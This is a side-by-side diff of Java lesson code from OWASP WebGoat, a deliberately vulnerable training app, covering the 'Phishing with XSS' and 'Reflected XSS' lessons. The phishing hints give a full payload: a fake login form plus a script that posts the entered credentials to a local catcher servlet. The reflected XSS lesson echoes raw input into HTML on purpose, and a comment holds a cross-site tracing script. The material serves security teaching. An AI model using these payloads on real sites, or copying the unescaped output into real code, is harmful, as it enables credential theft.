ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new HR()); ec.addElement(new HR());
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new StringElement("Results for: " + searchText)); ec.addElement(new StringElement("Results for: " + searchText));
ec.addElement(new Comment("Search results")); ec.addElement(new Comment("Search results"));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new B(new StringElement("No results were found."))); ec.addElement(new B(new StringElement("No results were found.")));
ec.addElement(new Comment("End of Search results")); ec.addElement(new Comment("End of Search results"));
} }
return (ec); return (ec);
} }
/** /**
* Gets the hints attribute of the CluesScreen object * Gets the hints attribute of the CluesScreen object
* *
* @return The hints value * @return The hints value
*/ */
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Try adding HTML to the search field to create a fake authentication form.<BR>" hints.add("Try adding HTML to the search field to create a fake authentication form.<BR>"
+ "Try to make the form look official."); + "Try to make the form look official.");
hints hints
.add("Try: <BR> " .add("Try: <BR> "
+ "&lt;form name=&quot;phish&quot;&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;&lt;H3&gt;This feature requires account login:&lt;/H2" + "&lt;form name=&quot;phish&quot;&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;&lt;H3&gt;This feature requires account login:&lt;/H2"
+ "&gt;&lt;br&gt;&lt;br&gt;Enter Username:&lt;br&gt;&lt;input type=&quot;text&quot; " + "&gt;&lt;br&gt;&lt;br&gt;Enter Username:&lt;br&gt;&lt;input type=&quot;text&quot; "
+ "name=&quot;user&quot;&gt;&lt;br&gt;Enter Password:&lt;br&gt;&lt;input type=&quot;password&quot; " + "name=&quot;user&quot;&gt;&lt;br&gt;Enter Password:&lt;br&gt;&lt;input type=&quot;password&quot; "
+ "name = &quot;pass&quot;&gt;&lt;br&gt;&lt;/form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;"); + "name = &quot;pass&quot;&gt;&lt;br&gt;&lt;/form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;");
hints hints
.add("Add functionality that can post a request, a button might work<BR><BR>" .add("Add functionality that can post a request, a button might work<BR><BR>"
+ "After getting the button on the page, don't forget you will need to steal the credentials and post them to: <BR>" + "After getting the button on the page, don't forget you will need to steal the credentials and post them to: <BR>"
+ "http://localhost/webgoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE"); + "http://localhost/webgoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE");
hints hints
.add("Try: <BR> " .add("Try: <BR> "
+ "&lt;input type=&quot;submit&quot; name=&quot;login&quot; " + "&lt;input type=&quot;submit&quot; name=&quot;login&quot; "
+ "value=&quot;login&quot;&gt;" + "value=&quot;login&quot;&gt;"
+ "<BR><BR>In the whole script:<BR><BR>" + "<BR><BR>In the whole script:<BR><BR>"
+ "&lt;form name=&quot;phish&quot;&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;&lt;H3&gt;This feature requires account login:&lt;/H2" + "&lt;form name=&quot;phish&quot;&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;&lt;H3&gt;This feature requires account login:&lt;/H2"
+ "&gt;&lt;br&gt;&lt;br&gt;Enter Username:&lt;br&gt;&lt;input type=&quot;text&quot; " + "&gt;&lt;br&gt;&lt;br&gt;Enter Username:&lt;br&gt;&lt;input type=&quot;text&quot; "
+ "name=&quot;user&quot;&gt;&lt;br&gt;Enter Password:&lt;br&gt;&lt;input type=&quot;password&quot; " + "name=&quot;user&quot;&gt;&lt;br&gt;Enter Password:&lt;br&gt;&lt;input type=&quot;password&quot; "
+ "name = &quot;pass&quot;&gt;&lt;br&gt;&lt;input type=&quot;submit&quot; name=&quot;login&quot; " + "name = &quot;pass&quot;&gt;&lt;br&gt;&lt;input type=&quot;submit&quot; name=&quot;login&quot; "
+ "value=&quot;login&quot; onclick=&quot;hack()&quot;&gt;&lt;/form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;"); + "value=&quot;login&quot; onclick=&quot;hack()&quot;&gt;&lt;/form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;");
hints hints
.add("Make the button perform an action on submit, <BR>" .add("Make the button perform an action on submit, <BR>"
+ "adding an onclick=\"hack()\" might work<BR>" + "adding an onclick=\"hack()\" might work<BR>"
+ "Don't forget to add the hack() javascript function" + "Don't forget to add the hack() javascript function"
+ "<BR><BR>In the whole script:<BR><BR>" + "<BR><BR>In the whole script:<BR><BR>"
+ "&lt;form name=&quot;phish&quot;&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;&lt;H3&gt;This feature requires account login:&lt;/H2" + "&lt;form name=&quot;phish&quot;&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;&lt;H3&gt;This feature requires account login:&lt;/H2"
+ "&gt;&lt;br&gt;&lt;br&gt;Enter Username:&lt;br&gt;&lt;input type=&quot;text&quot; " + "&gt;&lt;br&gt;&lt;br&gt;Enter Username:&lt;br&gt;&lt;input type=&quot;text&quot; "
+ "name=&quot;user&quot;&gt;&lt;br&gt;Enter Password:&lt;br&gt;&lt;input type=&quot;password&quot; " + "name=&quot;user&quot;&gt;&lt;br&gt;Enter Password:&lt;br&gt;&lt;input type=&quot;password&quot; "
+ "name = &quot;pass&quot;&gt;&lt;br&gt;&lt;input type=&quot;submit&quot; name=&quot;login&quot; " + "name = &quot;pass&quot;&gt;&lt;br&gt;&lt;input type=&quot;submit&quot; name=&quot;login&quot; "
+ "value=&quot;login&quot; onclick=&quot;hack()&quot;&gt;&lt;/form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;<BR>" + "value=&quot;login&quot; onclick=&quot;hack()&quot;&gt;&lt;/form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;<BR>"
+ "Also, check firebug. Does the search form need to be terminated for this to work...? (&lt;/form&gt;)"); + "Also, check firebug. Does the search form need to be terminated for this to work...? (&lt;/form&gt;)");
hints hints
.add("You need to create the hack() function. This function will pull the credentials from the " .add("You need to create the hack() function. This function will pull the credentials from the "
+ "webpage and post them to the WebGoat catcher servlet. <BR>" + "webpage and post them to the WebGoat catcher servlet. <BR>"
+ "<BR> Some useful code snippets:<UL>" + "<BR> Some useful code snippets:<UL>"
+ "<LI>doucument.phish.user.value - will access the user field" + "<LI>doucument.phish.user.value - will access the user field"
+ "<LI>XssImage = new Image(); XssImage.src=SOME_URL = will perform a post" + "<LI>XssImage = new Image(); XssImage.src=SOME_URL = will perform a post"
+ "<LI>javascript string concatentation uses a \"+\" </UL>" + "<LI>javascript string concatentation uses a \"+\" </UL>"
+ "<BR><BR>The entire javascript portion:<BR><BR>" + "<BR><BR>The entire javascript portion:<BR><BR>"
+ "&lt;script&gt;function hack(){ " + "&lt;script&gt;function hack(){ "
+ "XSSImage=new Image; XSSImage.src=&quot;http://localhost/webgoat/catcher?PROPERTY=yes&amp;user=&quot;+" + "XSSImage=new Image; XSSImage.src=&quot;http://localhost/webgoat/catcher?PROPERTY=yes&amp;user=&quot;+"
+ "document.phish.user.value + &quot;&amp;password=&quot; + document.phish.pass.value + &quot;&quot;;" + "document.phish.user.value + &quot;&amp;password=&quot; + document.phish.pass.value + &quot;&quot;;"
+ "alert(&quot;Had this been a real attack... Your credentials were just stolen." + "alert(&quot;Had this been a real attack... Your credentials were just stolen."
+ "\nUser Name = &quot; + document.phish.user.value + &quot;\nPassword = &quot; + document.phish.pass.value);} " + "\nUser Name = &quot; + document.phish.user.value + &quot;\nPassword = &quot; + document.phish.pass.value);} "
+ "&lt;/script&gt;"); + "&lt;/script&gt;");
hints hints
.add("Complete solution for this lesson:<BR><BR>" .add("Complete solution for this lesson:<BR><BR>"
+ "&lt;/form&gt;&lt;script&gt;function hack(){ " + "&lt;/form&gt;&lt;script&gt;function hack(){ "
+ "XSSImage=new Image; XSSImage.src=&quot;http://localhost/webgoat/catcher?PROPERTY=yes&amp;user=&quot;+" + "XSSImage=new Image; XSSImage.src=&quot;http://localhost/webgoat/catcher?PROPERTY=yes&amp;user=&quot;+"
+ "document.phish.user.value + &quot;&amp;password=&quot; + document.phish.pass.value + &quot;&quot;;" + "document.phish.user.value + &quot;&amp;password=&quot; + document.phish.pass.value + &quot;&quot;;"
+ "alert(&quot;Had this been a real attack... Your credentials were just stolen." + "alert(&quot;Had this been a real attack... Your credentials were just stolen."
+ "\nUser Name = &quot; + document.phish.user.value + &quot;\nPassword = &quot; + document.phish.pass.value);} " + "\nUser Name = &quot; + document.phish.user.value + &quot;\nPassword = &quot; + document.phish.pass.value);} "
+ "&lt;/script&gt;&lt;form name=&quot;phish&quot;&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;&lt;H3&gt;This feature requires account login:&lt;/H2" + "&lt;/script&gt;&lt;form name=&quot;phish&quot;&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;&lt;H3&gt;This feature requires account login:&lt;/H2"
+ "&gt;&lt;br&gt;&lt;br&gt;Enter Username:&lt;br&gt;&lt;input type=&quot;text&quot; " + "&gt;&lt;br&gt;&lt;br&gt;Enter Username:&lt;br&gt;&lt;input type=&quot;text&quot; "
+ "name=&quot;user&quot;&gt;&lt;br&gt;Enter Password:&lt;br&gt;&lt;input type=&quot;password&quot; " + "name=&quot;user&quot;&gt;&lt;br&gt;Enter Password:&lt;br&gt;&lt;input type=&quot;password&quot; "
+ "name = &quot;pass&quot;&gt;&lt;br&gt;&lt;input type=&quot;submit&quot; name=&quot;login&quot; " + "name = &quot;pass&quot;&gt;&lt;br&gt;&lt;input type=&quot;submit&quot; name=&quot;login&quot; "
+ "value=&quot;login&quot; onclick=&quot;hack()&quot;&gt;&lt;/form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;"); + "value=&quot;login&quot; onclick=&quot;hack()&quot;&gt;&lt;/form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;");
/** /**
* password<script>function hack(){ alert("Had this been a real attack... Your credentials * password<script>function hack(){ alert("Had this been a real attack... Your credentials
* were just stolen.\nUser Name = " + document.phish.user.value + "\nPassword = " + * were just stolen.\nUser Name = " + document.phish.user.value + "\nPassword = " +
* document.phish.pass.value); XSSImage=new Image; * document.phish.pass.value); XSSImage=new Image;
* XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user=" * XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="
* +document.phish.user.value + "&password=" + document.phish.pass.value + * +document.phish.user.value + "&password=" + document.phish.pass.value +
* "";}</script><form name="phish"><br> * "";}</script><form name="phish"><br>
* <br> * <br>
* <HR> * <HR>
* <H3>This feature requires account login:</H2> <br> * <H3>This feature requires account login:</H2> <br>
* <br> * <br>
* Enter Username:<br> * Enter Username:<br>
* <input type="text" name="user"><br> * <input type="text" name="user"><br>
* Enter Password:<br> * Enter Password:<br>
* <input type="password" name = "pass"><br> * <input type="password" name = "pass"><br>
* <input type="submit" name="login" value="login" onclick="hack()"></form><br> * <input type="submit" name="login" value="login" onclick="hack()"></form><br>
* <br> * <br>
* <HR> * <HR>
* <!-- * <!--
* *
*/ */
return hints; return hints;
} }
/** /**
* Gets the instructions attribute of the XssSearch object * Gets the instructions attribute of the XssSearch object
* *
* @return The instructions value * @return The instructions value
*/ */
public String getInstructions(WebSession s) public String getInstructions(WebSession s)
{ {
String instructions = "This lesson is an example of how a website might support a phishing attack<BR><BR>" String instructions = "This lesson is an example of how a website might support a phishing attack<BR><BR>"
+ "Below is an example of a standard search feature.<br>" + "Below is an example of a standard search feature.<br>"
+ "Using XSS and HTML insertion, your goal is to: <UL>" + "Using XSS and HTML insertion, your goal is to: <UL>"
+ "<LI>Insert html to that requests credentials" + "<LI>Insert html to that requests credentials"
+ "<LI>Add javascript to actually collect the credentials" + "<LI>Add javascript to actually collect the credentials"
+ "<LI>Post the credentials to http://localhost/webgoat/catcher?PROPERTY=yes...</UL> " + "<LI>Post the credentials to http://localhost/webgoat/catcher?PROPERTY=yes...</UL> "
+ "To pass this lesson, the credentials must be posted to the catcher servlet.<BR>"; + "To pass this lesson, the credentials must be posted to the catcher servlet.<BR>";
return (instructions); return (instructions);
} }
private final static Integer DEFAULT_RANKING = new Integer(30); private final static Integer DEFAULT_RANKING = new Integer(30);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the category attribute of the FailOpenAuthentication object * Gets the category attribute of the FailOpenAuthentication object
* *
* @return The category value * @return The category value
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.XSS; return Category.XSS;
} }
/** /**
* Gets the title attribute of the CluesScreen object * Gets the title attribute of the CluesScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Phishing with XSS"); return ("Phishing with XSS");
} }
} }

View File

@ -13,87 +13,87 @@ import org.owasp.webgoat.session.WebSession;
public abstract class RandomLessonAdapter extends LessonAdapter public abstract class RandomLessonAdapter extends LessonAdapter
{ {
public abstract String[] getStages(); public abstract String[] getStages();
public void setStage(WebSession s, String stage) public void setStage(WebSession s, String stage)
{ {
getLessonTracker(s).setStage(stage); getLessonTracker(s).setStage(stage);
try try
{ {
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
CreateDB db = new CreateDB(); CreateDB db = new CreateDB();
db.makeDB(connection); db.makeDB(connection);
System.out.println("Successfully refreshed the database."); System.out.println("Successfully refreshed the database.");
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
System.out.println("Error refreshing the database!"); System.out.println("Error refreshing the database!");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} }
public String getStage(WebSession s) public String getStage(WebSession s)
{ {
return getLessonTracker(s).getStage(); return getLessonTracker(s).getStage();
} }
public void setStageComplete(WebSession s, String stage) public void setStageComplete(WebSession s, String stage)
{ {
RandomLessonTracker lt = getLessonTracker(s); RandomLessonTracker lt = getLessonTracker(s);
lt.setStageComplete(stage, true); lt.setStageComplete(stage, true);
if (lt.getCompleted()) if (lt.getCompleted())
{ {
s.setMessage("Congratulations, you have completed this lab"); s.setMessage("Congratulations, you have completed this lab");
} }
else else
{ {
s.setMessage("You have completed Stage " + (lt.getStageNumber(stage) + 1) + ": " + stage + "."); s.setMessage("You have completed Stage " + (lt.getStageNumber(stage) + 1) + ": " + stage + ".");
if (!stage.equals(lt.getStage())) if (!stage.equals(lt.getStage()))
s.setMessage(" Welcome to Stage " + (lt.getStageNumber(lt.getStage()) + 1) + ": " + lt.getStage()); s.setMessage(" Welcome to Stage " + (lt.getStageNumber(lt.getStage()) + 1) + ": " + lt.getStage());
} }
try try
{ {
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
CreateDB db = new CreateDB(); CreateDB db = new CreateDB();
db.makeDB(connection); db.makeDB(connection);
System.out.println("Successfully refreshed the database."); System.out.println("Successfully refreshed the database.");
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
System.out.println("Error refreshing the database!"); System.out.println("Error refreshing the database!");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} }
public boolean isStageComplete(WebSession s, String stage) public boolean isStageComplete(WebSession s, String stage)
{ {
return getLessonTracker(s).hasCompleted(stage); return getLessonTracker(s).hasCompleted(stage);
} }
@Override @Override
public RandomLessonTracker getLessonTracker(WebSession s) public RandomLessonTracker getLessonTracker(WebSession s)
{ {
return (RandomLessonTracker) super.getLessonTracker(s); return (RandomLessonTracker) super.getLessonTracker(s);
} }
@Override @Override
public RandomLessonTracker getLessonTracker(WebSession s, AbstractLesson lesson) public RandomLessonTracker getLessonTracker(WebSession s, AbstractLesson lesson)
{ {
return (RandomLessonTracker) super.getLessonTracker(s, lesson); return (RandomLessonTracker) super.getLessonTracker(s, lesson);
} }
@Override @Override
public RandomLessonTracker getLessonTracker(WebSession s, String userNameOverride) public RandomLessonTracker getLessonTracker(WebSession s, String userNameOverride)
{ {
return (RandomLessonTracker) super.getLessonTracker(s, userNameOverride); return (RandomLessonTracker) super.getLessonTracker(s, userNameOverride);
} }
@Override @Override
public LessonTracker createLessonTracker() public LessonTracker createLessonTracker()
{ {
return new RandomLessonTracker(getStages()); return new RandomLessonTracker(getStages());
} }
} }

View File

@ -55,203 +55,203 @@ import org.owasp.webgoat.util.WebGoatI18N;
public class ReflectedXSS extends LessonAdapter public class ReflectedXSS extends LessonAdapter
{ {
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
String regex1 = "^[0-9]{3}$";// any three digits String regex1 = "^[0-9]{3}$";// any three digits
Pattern pattern1 = Pattern.compile(regex1); Pattern pattern1 = Pattern.compile(regex1);
try try
{ {
String param1 = s.getParser().getRawParameter("field1", "111"); String param1 = s.getParser().getRawParameter("field1", "111");
String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("field2", "4128 3214 0002 1999")); String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("field2", "4128 3214 0002 1999"));
float quantity = 1.0f; float quantity = 1.0f;
float total = 0.0f; float total = 0.0f;
float runningTotal = 0.0f; float runningTotal = 0.0f;
DecimalFormat money = new DecimalFormat("$0.00"); DecimalFormat money = new DecimalFormat("$0.00");
// test input field1 // test input field1
if (!pattern1.matcher(param1).matches()) if (!pattern1.matcher(param1).matches())
{ {
if (param1.toLowerCase().indexOf("script") != -1) if (param1.toLowerCase().indexOf("script") != -1)
{ {
makeSuccess(s); makeSuccess(s);
} }
s.setMessage(WebGoatI18N.get("ReflectedXSSWhoops1")+ param1 + WebGoatI18N.get("ReflectedXSSWhoops2")); s.setMessage(WebGoatI18N.get("ReflectedXSSWhoops1")+ param1 + WebGoatI18N.get("ReflectedXSSWhoops2"));
} }
// FIXME: encode output of field2, then s.setMessage( field2 ); // FIXME: encode output of field2, then s.setMessage( field2 );
ec.addElement(new HR().setWidth("90%")); ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1().addElement(WebGoatI18N.get("ShoppingCart")))); ec.addElement(new Center().addElement(new H1().addElement(WebGoatI18N.get("ShoppingCart"))));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center"); Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TH().addElement(WebGoatI18N.get("ShoppingCartItems")).setWidth("80%")); tr.addElement(new TH().addElement(WebGoatI18N.get("ShoppingCartItems")).setWidth("80%"));
tr.addElement(new TH().addElement(WebGoatI18N.get("Price")).setWidth("10%")); tr.addElement(new TH().addElement(WebGoatI18N.get("Price")).setWidth("10%"));
tr.addElement(new TH().addElement(WebGoatI18N.get("Quantity")).setWidth("3%")); tr.addElement(new TH().addElement(WebGoatI18N.get("Quantity")).setWidth("3%"));
tr.addElement(new TH().addElement(WebGoatI18N.get("Total")).setWidth("7%")); tr.addElement(new TH().addElement(WebGoatI18N.get("Total")).setWidth("7%"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry ")); tr.addElement(new TD().addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry "));
tr.addElement(new TD().addElement("69.99").setAlign("right")); tr.addElement(new TD().addElement("69.99").setAlign("right"));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY1", s.getParser().getStringParameter("QTY1", new Input(Input.TEXT, "QTY1", s.getParser().getStringParameter("QTY1",
"1")) "1"))
.setSize(6)).setAlign("right")); .setSize(6)).setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY1", 0.0f); quantity = s.getParser().getFloatParameter("QTY1", 0.0f);
total = quantity * 69.99f; total = quantity * 69.99f;
runningTotal += total; runningTotal += total;
tr.addElement(new TD().addElement(money.format(total))); tr.addElement(new TD().addElement(money.format(total)));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case")); tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case"));
tr.addElement(new TD().addElement("27.99").setAlign("right")); tr.addElement(new TD().addElement("27.99").setAlign("right"));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter("QTY2", new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter("QTY2",
"1")) "1"))
.setSize(6)).setAlign("right")); .setSize(6)).setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY2", 0.0f); quantity = s.getParser().getFloatParameter("QTY2", 0.0f);
total = quantity * 27.99f; total = quantity * 27.99f;
runningTotal += total; runningTotal += total;
tr.addElement(new TD().addElement(money.format(total))); tr.addElement(new TD().addElement(money.format(total)));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Hewlett-Packard - Pavilion Notebook with Intel Centrino")); tr.addElement(new TD().addElement("Hewlett-Packard - Pavilion Notebook with Intel Centrino"));
tr.addElement(new TD().addElement("1599.99").setAlign("right")); tr.addElement(new TD().addElement("1599.99").setAlign("right"));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter("QTY3", new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter("QTY3",
"1")) "1"))
.setSize(6)).setAlign("right")); .setSize(6)).setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY3", 0.0f); quantity = s.getParser().getFloatParameter("QTY3", 0.0f);
total = quantity * 1599.99f; total = quantity * 1599.99f;
runningTotal += total; runningTotal += total;
tr.addElement(new TD().addElement(money.format(total))); tr.addElement(new TD().addElement(money.format(total)));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("3 - Year Performance Service Plan $1000 and Over ")); tr.addElement(new TD().addElement("3 - Year Performance Service Plan $1000 and Over "));
tr.addElement(new TD().addElement("299.99").setAlign("right")); tr.addElement(new TD().addElement("299.99").setAlign("right"));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter("QTY4", new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter("QTY4",
"1")) "1"))
.setSize(6)).setAlign("right")); .setSize(6)).setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY4", 0.0f); quantity = s.getParser().getFloatParameter("QTY4", 0.0f);
total = quantity * 299.99f; total = quantity * 299.99f;
runningTotal += total; runningTotal += total;
tr.addElement(new TD().addElement(money.format(total))); tr.addElement(new TD().addElement(money.format(total)));
t.addElement(tr); t.addElement(tr);
ec.addElement(t); ec.addElement(t);
t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
ec.addElement(new BR()); ec.addElement(new BR());
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement(WebGoatI18N.get("TotalChargedCreditCard")+":")); tr.addElement(new TD().addElement(WebGoatI18N.get("TotalChargedCreditCard")+":"));
tr.addElement(new TD().addElement(money.format(runningTotal))); tr.addElement(new TD().addElement(money.format(runningTotal)));
tr.addElement(new TD().addElement(ECSFactory.makeButton(WebGoatI18N.get("UpdateCart")))); tr.addElement(new TD().addElement(ECSFactory.makeButton(WebGoatI18N.get("UpdateCart"))));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2)); tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement(WebGoatI18N.get("EnterCreditCard")+":")); tr.addElement(new TD().addElement(WebGoatI18N.get("EnterCreditCard")+":"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "field2", param2))); tr.addElement(new TD().addElement(new Input(Input.TEXT, "field2", param2)));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement(WebGoatI18N.get("Enter3DigitCode")+":")); tr.addElement(new TD().addElement(WebGoatI18N.get("Enter3DigitCode")+":"));
tr.addElement(new TD().addElement("<input name='field1' type='TEXT' value='" + param1 + "'>")); tr.addElement(new TD().addElement("<input name='field1' type='TEXT' value='" + param1 + "'>"));
// tr.addElement(new TD().addElement(new Input(Input.TEXT, "field1",param1))); // tr.addElement(new TD().addElement(new Input(Input.TEXT, "field1",param1)));
t.addElement(tr); t.addElement(tr);
Element b = ECSFactory.makeButton(WebGoatI18N.get("Purchase")); Element b = ECSFactory.makeButton(WebGoatI18N.get("Purchase"));
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("center")); tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("center"));
t.addElement(tr); t.addElement(tr);
ec.addElement(t); ec.addElement(t);
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%")); ec.addElement(new HR().setWidth("90%"));
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage(WebGoatI18N.get("ErrorGenerating") + this.getClass().getName()); s.setMessage(WebGoatI18N.get("ErrorGenerating") + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
/** /**
* DOCUMENT ME! * DOCUMENT ME!
* *
* @return DOCUMENT ME! * @return DOCUMENT ME!
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.XSS; return Category.XSS;
} }
/** /**
* Gets the hints attribute of the AccessControlScreen object * Gets the hints attribute of the AccessControlScreen object
* *
* @return The hints value * @return The hints value
*/ */
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add(WebGoatI18N.get("ReflectedXSSHint1")); hints.add(WebGoatI18N.get("ReflectedXSSHint1"));
hints.add(WebGoatI18N.get("ReflectedXSSHint2")); hints.add(WebGoatI18N.get("ReflectedXSSHint2"));
hints.add(WebGoatI18N.get("ReflectedXSSHint3")); hints.add(WebGoatI18N.get("ReflectedXSSHint3"));
hints.add(WebGoatI18N.get("ReflectedXSSHint4")); hints.add(WebGoatI18N.get("ReflectedXSSHint4"));
hints.add(WebGoatI18N.get("ReflectedXSSHint5")); hints.add(WebGoatI18N.get("ReflectedXSSHint5"));
return hints; return hints;
} }
// <script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var xmlHttp // <script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var xmlHttp
// = new // = new
// ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false); // ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false);
// xmlHttp.send();str1=xmlHttp.responseText;document.write(str1);}</script> // xmlHttp.send();str1=xmlHttp.responseText;document.write(str1);}</script>
private final static Integer DEFAULT_RANKING = new Integer(120); private final static Integer DEFAULT_RANKING = new Integer(120);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the AccessControlScreen object * Gets the title attribute of the AccessControlScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return "Reflected XSS Attacks"; return "Reflected XSS Attacks";
} }
} }

View File

@ -42,67 +42,67 @@ import org.owasp.webgoat.util.WebGoatI18N;
public class RemoteAdminFlaw extends LessonAdapter public class RemoteAdminFlaw extends LessonAdapter
{ {
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
if (s.completedHackableAdmin()) if (s.completedHackableAdmin())
{ {
makeSuccess(s); makeSuccess(s);
} }
return ec; return ec;
} }
/** /**
* Gets the category attribute of the ForgotPassword object * Gets the category attribute of the ForgotPassword object
* *
* @return The category value * @return The category value
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.ACCESS_CONTROL; return Category.ACCESS_CONTROL;
} }
/** /**
* Gets the hints attribute of the HelloScreen object * Gets the hints attribute of the HelloScreen object
* *
* @return The hints value * @return The hints value
*/ */
public List<String> getHints(WebSession s) public List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add(WebGoatI18N.get("RemoteAdminFlawHint1")); hints.add(WebGoatI18N.get("RemoteAdminFlawHint1"));
hints.add(WebGoatI18N.get("RemoteAdminFlawHint2")); hints.add(WebGoatI18N.get("RemoteAdminFlawHint2"));
hints.add(WebGoatI18N.get("RemoteAdminFlawHint3")); hints.add(WebGoatI18N.get("RemoteAdminFlawHint3"));
hints.add(WebGoatI18N.get("RemoteAdminFlawHint4")); hints.add(WebGoatI18N.get("RemoteAdminFlawHint4"));
